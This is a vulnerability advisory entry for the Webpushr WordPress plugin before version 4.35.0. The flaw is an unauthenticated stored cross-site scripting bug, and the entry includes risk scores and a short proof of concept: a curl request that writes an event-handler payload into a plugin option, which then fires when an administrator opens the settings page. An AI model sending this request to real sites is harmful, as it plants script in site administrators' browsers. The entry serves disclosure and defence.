Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:A03330C2-3AE0-404D-A114-33B18CC47666
HistoryNov 06, 2023 - 12:00 a.m.

Webpushr < 4.35.0 - Unauthenticated Stored XSS

2023-11-0600:00:00
Krzysztof Zając
wpscan.com
4
webpushr
xss
vulnerability
unauthenticated
woocommerce

5.6 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

14.2%

Description The plugin does not prevent visitors on the site from changing some of the plugin options, some of which may be used to conduct Stored XSS attacks.

PoC

1. Woocommerce needs to be installed as well as activating webpushr-web-push-notifications by creating an account. 2. Run the following curl request: curl --url ‘http://vulnerable-site.tld/wp-admin/admin-post.php’ --data ‘save_woo_settings=1&webpushr;_price_drop=1&webpushr;_woo_price_drop_icon="+style=animation-name:rotation;display:block+onanimationstart=alert(/XSS/)+x’ 3. Have an administrator browse the price drop notification settings: http://vulnerable-site.tld/wp-admin/admin.php?page=webpushr-configuration&amp;menu;=price_drop#woocommerce_settings

CPENameOperatorVersion
eq4.35.0

5.6 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

14.2%

Related for WPVDB-ID:A03330C2-3AE0-404D-A114-33B18CC47666